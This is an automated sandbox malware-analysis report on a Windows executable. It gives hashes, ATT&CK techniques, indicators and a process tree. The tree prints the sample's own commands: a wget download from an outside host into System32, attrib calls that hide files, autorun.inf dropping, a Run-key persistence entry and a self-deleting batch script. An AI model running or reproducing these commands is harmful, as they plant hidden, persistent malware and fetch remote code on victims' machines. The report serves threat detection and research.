322762fd7175470ba0cccf1d8c1592dedbd41b33a9eaf8135bbdb8e25747e26f

Analysis

max time kernel
148s
max time network
127s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260911-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
02/10/2026, 09:25

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
jaffacakes118_322762fd7175470ba0cccf1d8c1592dedbd41b33a9eaf8135bbdb8e25747e26f.exe
Size 393KB
Sample261002-ld38bashma
SHA256 322762fd7175470ba0cccf1d8c1592dedbd41b33a9eaf8135bbdb8e25747e26f
MD5 1864494418f3adec6df3e943f539d1e1
SHA1 6b3c49fe9e745f5928d4a3a692a3e785aa674aa7
SHA512 46159c03c484c0ec476d8d750f65c42a4f17ee3f39d783af8863b9eb104bf7f13b485dd5d027abeb3a4417af492c794fc73154c94921e0c77557037e848801a2
SSDEEP 12288:uEk66XBH1H7V5WOvNjFd1rFdEsgASR7WoleOJz/P8M:uEk6eLfFNjFDrFdEsgASRvleOJD
TLSH
T19F84120B391CE840D946CF38570AE8E7E709DE4AC1B5D795BF9C79A23AFD960AE30045
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

adware defense_evasion discovery execution persistence spyware upx

Malware Config

Signatures

Sets file to hidden 1 TTPs 6 IoCs

Modifies file attributes to stop it showing in Explorer etc.

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
3900	attrib.exe
2792	attrib.exe
120	attrib.exe
4172	attrib.exe
2784	attrib.exe
4264	attrib.exe

Executes dropped EXE 2 IoCs

pid	Process
1032	b2e.exe
3308	wget.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1404337215-1550464601-2805570857-1000\Software\Microsoft\Windows\CurrentVersion\Run\Gallery = "thG.exe"	reg.exe

Drops desktop.ini file(s) 3 IoCs

description	ioc	Process
File opened for modification	C:\Users\Public\Pictures\desktop.ini	explorer.exe
File opened for modification	C:\Users\Admin\Pictures\desktop.ini	explorer.exe
File opened for modification	C:\Users\Public\desktop.ini	explorer.exe

Drops autorun.inf file 1 TTPs 5 IoCs

Malware can abuse Windows Autorun to spread further via attached volumes.

Replication Through Removable Media

T1091

description	ioc	Process
File opened for modification	C:\Users\Admin\AppData\Local\Temp\autorun.inf	cmd.exe
File created	C:\Windows\autorun.inf	cmd.exe
File opened for modification	C:\Windows\autorun.inf	cmd.exe
File opened for modification	C:\Users\Admin\AppData\Local\Temp\autorun.inf	attrib.exe
File opened for modification	C:\Windows\autorun.inf	attrib.exe

Drops file in System32 directory 6 IoCs

description	ioc	Process
File created	C:\Windows\SysWOW64\sys.wglog	wget.exe
File created	C:\Windows\SysWOW64\sys.result	wget.exe
File created	C:\Windows\SysWOW64\orx.hiv	reg.exe
File created	C:\Windows\SysWOW64\dontexecute.dll	cmd.exe
File created	C:\Windows\SysWOW64\wthG.vbs	cmd.exe
File opened for modification	C:\Windows\SysWOW64\wthG.vbs	cmd.exe

Executes a VBScript file via the Windows Script Host. 1 TTPs 1 IoCs

execution

Visual Basic

T1059.005

pid	Process
3456	WScript.exe

UPX packed file 3 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/files/0x000d00000001c46d-32.dat	upx
behavioral2/memory/3308-34-0x0000000000400000-0x00000000004C6000-memory.dmp	upx
behavioral2/memory/3308-36-0x0000000000400000-0x00000000004C6000-memory.dmp	upx

Drops file in Windows directory 3 IoCs

description	ioc	Process
File created	C:\Windows\autorun.inf	cmd.exe
File opened for modification	C:\Windows\autorun.inf	cmd.exe
File opened for modification	C:\Windows\autorun.inf	attrib.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
5628	cmd.exe
2800	cmd.exe

Reads the TCP/IP host and domain name from the registry 1 TTPs 2 IoCs

The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

discovery

System Network Configuration Discovery

T1016

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	wget.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	wget.exe

System Location Discovery: System Language Discovery 1 TTPs 19 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	b2e.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	attrib.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	attrib.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	attrib.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	wget.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	attrib.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WScript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	choice.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	jaffacakes118_322762fd7175470ba0cccf1d8c1592dedbd41b33a9eaf8135bbdb8e25747e26f.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	attrib.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	attrib.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	attrib.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	attrib.exe

Modifies Internet Explorer settings 1 TTPs 2 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1404337215-1550464601-2805570857-1000\Software\Microsoft\Internet Explorer\Toolbar	explorer.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1404337215-1550464601-2805570857-1000\Software\Microsoft\Internet Explorer\Toolbar\Locked = "1"	explorer.exe

Modifies registry class 42 IoCs

description	ioc	Process
Set value (data)	\REGISTRY\USER\S-1-5-21-1404337215-1550464601-2805570857-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = 00000000ffffffff	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-1404337215-1550464601-2805570857-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1404337215-1550464601-2805570857-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1\0\MRUListEx = 00000000ffffffff	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1404337215-1550464601-2805570857-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1\0\0\0\MRUListEx = 00000000ffffffff	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1404337215-1550464601-2805570857-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1\0\0\0\0\MRUListEx = 00000000ffffffff	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-1404337215-1550464601-2805570857-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1404337215-1550464601-2805570857-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = 0100000000000000ffffffff	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1404337215-1550464601-2805570857-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1\0\0\0\0 = 56003100000000002b5d6a7c12004170704461746100400009000400efbe2b5d697c425d414b2e0000007e000000000002000000000000000000000000000000387425014100700070004400610074006100000016000000	explorer.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{374DE290-123F-4565-9164-39C4925E467B}\Instance\	explorer.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{3ADD1653-EB32-4cb0-BBD7-DFA0ABB5ACCA}\Instance\	explorer.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{A0953C92-50DC-43bf-BE83-3742FED03C9C}\Instance\	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1404337215-1550464601-2805570857-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1\0\0\0\0\0\0\MRUListEx = ffffffff	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-1404337215-1550464601-2805570857-1000_Classes\Local Settings	cmd.exe
Key created	\REGISTRY\USER\S-1-5-21-1404337215-1550464601-2805570857-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1404337215-1550464601-2805570857-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1 = 14001f50e04fd020ea3a6910a2d808002b30309d0000	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1404337215-1550464601-2805570857-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1\0\0\0 = 50003100000000002b5d0987100041646d696e003c0009000400efbe2b5d697c425d414b2e0000007300000000000200000000000000000000000000000003398d00410064006d0069006e00000014000000	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-1404337215-1550464601-2805570857-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\Shell	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-1404337215-1550464601-2805570857-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-1404337215-1550464601-2805570857-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2	explorer.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1404337215-1550464601-2805570857-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\Shell\SniffedFolderType = "Generic"	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-1404337215-1550464601-2805570857-1000_Classes\NotificationData	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1404337215-1550464601-2805570857-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1\MRUListEx = 00000000ffffffff	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-1404337215-1550464601-2805570857-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1\0\0\0\0\0	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-1404337215-1550464601-2805570857-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1\0\0\0\0\0\0	explorer.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{4336a54d-038b-4685-ab02-99bb52d3fb8b}\Instance\	explorer.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{B4BFCC3A-DB2C-424C-B029-7FE99A87C641}\Instance\	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1404337215-1550464601-2805570857-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1\0\0\0\0\0\MRUListEx = 00000000ffffffff	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1404337215-1550464601-2805570857-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots = 0202	explorer.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{A8CDFF1C-4878-43be-B5FD-F8091C1C60D0}\Instance\	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1404337215-1550464601-2805570857-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots = 02	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-1404337215-1550464601-2805570857-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1\0\0	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-1404337215-1550464601-2805570857-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1\0\0\0	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-1404337215-1550464601-2805570857-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1\0\0\0\0	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-1404337215-1550464601-2805570857-1000_Classes\Local Settings	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1404337215-1550464601-2805570857-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1\0 = 19002f433a5c000000000000000000000000000000000000000000	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-1404337215-1550464601-2805570857-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1\0	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1404337215-1550464601-2805570857-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1\0\0 = 78003100000000002b5d697c1100557365727300640009000400efbe8158a93a425d414b2e000000880600000000010000000000000000003a000000000005180f0055007300650072007300000040007300680065006c006c00330032002e0064006c006c002c002d0032003100380031003300000014000000	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1404337215-1550464601-2805570857-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1\0\0\MRUListEx = 00000000ffffffff	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1404337215-1550464601-2805570857-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1\0\0\0\0\0\0 = 4e00310000000000425d414b100054656d7000003a0009000400efbe2b5d697c425d414b2e000000930000000000020000000000000000000000000000003f8e7500540065006d007000000014000000	explorer.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1CF1260C-4DD0-4ebb-811F-33C572699FDE}\Instance\	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1404337215-1550464601-2805570857-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1\0\0\0\0\0 = 50003100000000002b5d6d7f14004c6f63616c003c0009000400efbe2b5d697c425d414b2e00000092000000000002000000000000000000000000000000c76f55004c006f00630061006c00000014000000	explorer.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1404337215-1550464601-2805570857-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1\0\0\0\0\0\0\NodeSlot = "2"	explorer.exe

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
2412	explorer.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
3308	wget.exe
3308	wget.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
2412	explorer.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeBackupPrivilege	4140	reg.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
2412	explorer.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
2412	explorer.exe

Suspicious use of WriteProcessMemory 18 IoCs

description	pid	Process	procid_target
PID 2680 wrote to memory of 1032	2680	jaffacakes118_322762fd7175470ba0cccf1d8c1592dedbd41b33a9eaf8135bbdb8e25747e26f.exe	89
PID 1032 wrote to memory of 2800	1032	b2e.exe	91
PID 2800 wrote to memory of 5560	2800	cmd.exe	93
PID 2800 wrote to memory of 3040	2800	cmd.exe	94
PID 2800 wrote to memory of 3900	2800	cmd.exe	95
PID 2800 wrote to memory of 2792	2800	cmd.exe	96
PID 2800 wrote to memory of 120	2800	cmd.exe	97
PID 2800 wrote to memory of 4172	2800	cmd.exe	98
PID 2800 wrote to memory of 2784	2800	cmd.exe	99
PID 2800 wrote to memory of 4264	2800	cmd.exe	100
PID 2800 wrote to memory of 4784	2800	cmd.exe	101
PID 2800 wrote to memory of 3308	2800	cmd.exe	102
PID 2800 wrote to memory of 4140	2800	cmd.exe	105
PID 2800 wrote to memory of 4684	2800	cmd.exe	106
PID 2800 wrote to memory of 6008	2800	cmd.exe	107
PID 2800 wrote to memory of 3456	2800	cmd.exe	109
PID 2800 wrote to memory of 5316	2800	cmd.exe	110
PID 1032 wrote to memory of 5628	1032	b2e.exe	112

Views/modifies file attributes 1 TTPs 8 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
4264	attrib.exe
5560	attrib.exe
3040	attrib.exe
3900	attrib.exe
2792	attrib.exe
120	attrib.exe
4172	attrib.exe
2784	attrib.exe

C:\Users\Admin\AppData\Local\Temp\jaffacakes118_322762fd7175470ba0cccf1d8c1592dedbd41b33a9eaf8135bbdb8e25747e26f.exe
"C:\Users\Admin\AppData\Local\Temp\jaffacakes118_322762fd7175470ba0cccf1d8c1592dedbd41b33a9eaf8135bbdb8e25747e26f.exe"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2680
- C:\Users\Admin\AppData\Local\Temp\4FBC.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\4FBC.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\4FBC.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\jaffacakes118_322762fd7175470ba0cccf1d8c1592dedbd41b33a9eaf8135bbdb8e25747e26f.exe"
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:1032
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\5318.tmp\batfile.bat" "
    3⤵
    - Drops autorun.inf file
    - Drops file in System32 directory
    - Drops file in Windows directory
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Modifies registry class
    - Suspicious use of WriteProcessMemory
    PID:2800
  - - C:\Windows\SysWOW64\attrib.exe
      attrib -s -a -h -r thG.exe
      4⤵
      System Location Discovery: System Language Discovery
      Views/modifies file attributes
      PID:5560
  - - C:\Windows\SysWOW64\attrib.exe
      attrib -s -a -h -r C:\Windows\thG.exe
      4⤵
      System Location Discovery: System Language Discovery
      Views/modifies file attributes
      PID:3040
  - - C:\Windows\SysWOW64\attrib.exe
      attrib +s +a +h +r thG.exe
      4⤵
      Sets file to hidden
      System Location Discovery: System Language Discovery
      Views/modifies file attributes
      PID:3900
  - - C:\Windows\SysWOW64\attrib.exe
      attrib +s +a +h +r C:\Windows\thG.exe
      4⤵
      Sets file to hidden
      System Location Discovery: System Language Discovery
      Views/modifies file attributes
      PID:2792
  - - C:\Windows\SysWOW64\attrib.exe
      attrib +s +a +h +r autorun.*
      4⤵
      Sets file to hidden
      System Location Discovery: System Language Discovery
      Views/modifies file attributes
      PID:120
  - - C:\Windows\SysWOW64\attrib.exe
      attrib +s +a +h +r C:\Windows\autorun.*
      4⤵
      Sets file to hidden
      System Location Discovery: System Language Discovery
      Views/modifies file attributes
      PID:4172
  - - C:\Windows\SysWOW64\attrib.exe
      attrib +s +a +h +r autorun.inf
      4⤵
      Sets file to hidden
      Drops autorun.inf file
      System Location Discovery: System Language Discovery
      Views/modifies file attributes
      PID:2784
  - - C:\Windows\SysWOW64\attrib.exe
      attrib +s +a +h +r C:\Windows\autorun.inf
      4⤵
      Sets file to hidden
      Drops autorun.inf file
      Drops file in Windows directory
      System Location Discovery: System Language Discovery
      Views/modifies file attributes
      PID:4264
  - - C:\Windows\SysWOW64\explorer.exe
      explorer .\
      4⤵
      System Location Discovery: System Language Discovery
      PID:4784
  - - C:\Users\Admin\AppData\Local\Temp\wget.exe
      wget "http://virae.org/trojanhorsegallery/getnew.php" -o C:\Windows\system32\sys.wglog -O C:\Windows\system32\sys.result
      4⤵
      Executes dropped EXE
      Drops file in System32 directory
      Reads the TCP/IP host and domain name from the registry
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      PID:3308
  - - C:\Windows\SysWOW64\reg.exe
      REG.EXE SAVE "HKCU\Control Panel\Desktop" C:\Windows\System32\orx.hiv /y
      4⤵
      Drops file in System32 directory
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:4140
  - - C:\Windows\SysWOW64\reg.exe
      REG.EXE SAVE "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" C:\Windows\System32\ory.hiv /y
      4⤵
      System Location Discovery: System Language Discovery
      PID:4684
  - - C:\Windows\SysWOW64\reg.exe
      REG.EXE add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run" /v Gallery /d "thG.exe" /f
      4⤵
      Adds Run key to start application
      System Location Discovery: System Language Discovery
      PID:6008
  - - C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Windows\System32\wthG.vbs"
      4⤵
      Executes a VBScript file via the Windows Script Host.
      System Location Discovery: System Language Discovery
      PID:3456
  - - C:\Windows\SysWOW64\choice.exe
      CHOICE /C AB /N /D A /T 120
      4⤵
      System Location Discovery: System Language Discovery
      PID:5316
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\selfdel0.bat" "
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    PID:5628

C:\Windows\explorer.exe
C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
1⤵
- Drops desktop.ini file(s)
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious behavior: AddClipboardFormatListener
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
PID:2412

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:2988

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Replication Through Removable Media

T1091

Execution

Command and Scripting Interpreter

T1059

Visual Basic

T1059.005

Windows Command Shell

T1059.003

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Modify Registry

T1112

Credential Access

Discovery

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Network Configuration Discovery

T1016

Lateral Movement

Replication Through Removable Media

T1091

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

b2e.exe

Path C:\Users\Admin\AppData\Local\Temp\4FBC.tmp\b2e.exe
Size 338KB
SHA256 eec2fc6149559bd2ec380ae2cef6a40d595fbb26b152d7f003bfbab1f185fef5
MD5 950c07271e2a460108056f1605d56304
SHA1 41c4df6a3d84a0aad6f47b7f5138b787995ff3a4
SHA512 65b7a0a323dd895f6775bfbcb108e81d2f68d2ab0e660a3eb013182e977f91092c6f27c1beb6fd76d1fce2c97b438e22682c12ec360de3d8d9314f8607350837
SSDEEP 6144:1ElGApOhqa8YByVwX1XhIMAg7g85WOvNVFFdQwH+Y6il2COBEZHgASR7WoleOfRW:1Ek66XBH1H7V5WOvNjFd1rFdEsgASR7K
TLSH
T1F474120B392CE841D947DE39570EE8EAE709D24BC2A5D795BF9C49B236FC960AE30045
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

batfile.bat

Path C:\Users\Admin\AppData\Local\Temp\5318.tmp\batfile.bat
Size 5KB
SHA256 1e6300eb1a22698920a0ec0661081841796db5ddb7d6c220cd808ad4a3d3b089
MD5 38f187ba7bf5ae8779013e09dc16b2ca
SHA1 d14e070ecd8a4c0c495e32befa732ea4f6a25dc7
SHA512 682c0645d6988cab6183dd69fbd06f7fb79306529bffcff07de9ca54e089434a5f5d82ee3b4c0095369f17c79ac218e2cd936f6fee0105c0460916ef80ed7fc2
SSDEEP 96:bzUx603ZKL/2MlpmRNKonhNSVPsDpoRWx1qLAhE7D:bgxtKhpmasMVkDpow1lMD
TLSH
T18EB1122AA64CC0B16BD09629C90E789BB317F5CDD134C7D8A49120E1B4CCBD95F2ABF5
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

autorun.inf

Path C:\Users\Admin\AppData\Local\Temp\autorun.inf
Size 104B
SHA256 452477214de18bedd6b02d9e2d490f3264a93327b5e1b7adc3a43547bac3c6c7
MD5 2d67b1dcc96266d559b225d8d4a8a3e2
SHA1 54a5df98aa8f16dff9812f5243fd160c95d73f45
SHA512 9e6560e8668ff1d31ea1332687519ad344d855624484528d5b59cf55d4f49bff5d54275d163101d03a752067b16f5977513cb908b49de6fd19e432813249cbce
TLSH
T1C9B01204B41A316D832B581AB106155F931FB00A4770403463C8D0676C7769D0F524F5
MD5 SHA1 SHA512 TLSH

Submit Download

dgs.vbs

Path C:\Users\Admin\AppData\Local\Temp\dgs.vbs
Size 338B
SHA256 84cdbc878a8d09247e932fd9964c80f80d93bfb8a85832bae405a28f04f08d53
MD5 02d1472f91cf901cba3b17cd9a179a14
SHA1 faac45656baa198ea0d3c02b2c8d627141863173
SHA512 cc80d9beec7c9824e8eed5c92e502e28b246e6816831746712293eb6ac88488980838ad2228bc4c14323f1d229291c9428b14aff50db42a88cf27efa3da578d1
TLSH
T1E6E02D027FCEC418C829E29839A22C5FCFA8B0003303EE000A00F081B1200374F381B3
MD5 SHA1 SHA512 TLSH

Submit Download

selfdel0.bat

Path C:\Users\Admin\AppData\Local\Temp\selfdel0.bat
Size 158B
SHA256 33526126f68eb894a3169b3438cc1aff08167b698df0af4d5cf5dec340b88b0b
MD5 17e4de606f5cab149e9190df7eaa6059
SHA1 9479a787cf7b7af33e4f76db3e7f5ddde244c687
SHA512 c3f5f7bf7444c565b7567bc65aaf4c9fadd489b32859ac07d2f96e666c4e5386790f3833c1ece1e2979b24921fa5befa0448000fec5e89596ee0d8d96b15ae60
TLSH
T14DC002108ACBDB5D2454917706B5EA5CA0B51D193E8A3B248725C80C1542D0EBB82606
MD5 SHA1 SHA512 TLSH

Submit Download

wget.exe

Path C:\Users\Admin\AppData\Local\Temp\wget.exe
Size 325KB
SHA256 248e84e994a3aa6c8a1ae4a71a701e862900cc8491243bd4497502cc3b2c74f7
MD5 dbe287eb8d58e6322e9fb67110ed7122
SHA1 1cd5550de3a857540cbe79fda1c7186dd7721802
SHA512 c8bfcb87e72c301cad94bf91eb567ead6d12c06fa016b234dd424f40865333e82ce9f8655bd52c7df6a8b46f2e55eb8ec81619c5a9ac633f51e6124600e5f1c5
SSDEEP 6144:uElGApOhqa8YByVwX1XhIMAg7g85WOvNVFFdQwH+Y6il2COBEZHgASR7WoleOfRD:uEk66XBH1H7V5WOvNjFd1rFdEsgASR7H
TLSH
T1B1642205292CF845DD1BDF3A634AE8E6A70CC617C5E2A7A1AE994EB675FDC10BF30041
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/1032-55-0x0000000000400000-0x0000000000405000-memory.dmp

Download

memory/1032-9-0x0000000000400000-0x0000000000405000-memory.dmp

Download

memory/1032-77-0x0000000000400000-0x0000000000405000-memory.dmp

Download

memory/2412-56-0x0000000003550000-0x00000000037AF000-memory.dmp

Download

memory/2680-0-0x0000000000400000-0x0000000000466000-memory.dmp

Download

memory/2680-12-0x0000000000400000-0x0000000000466000-memory.dmp

Download

memory/3308-34-0x0000000000400000-0x00000000004C6000-memory.dmp

Download

memory/3308-36-0x0000000000400000-0x00000000004C6000-memory.dmp

Download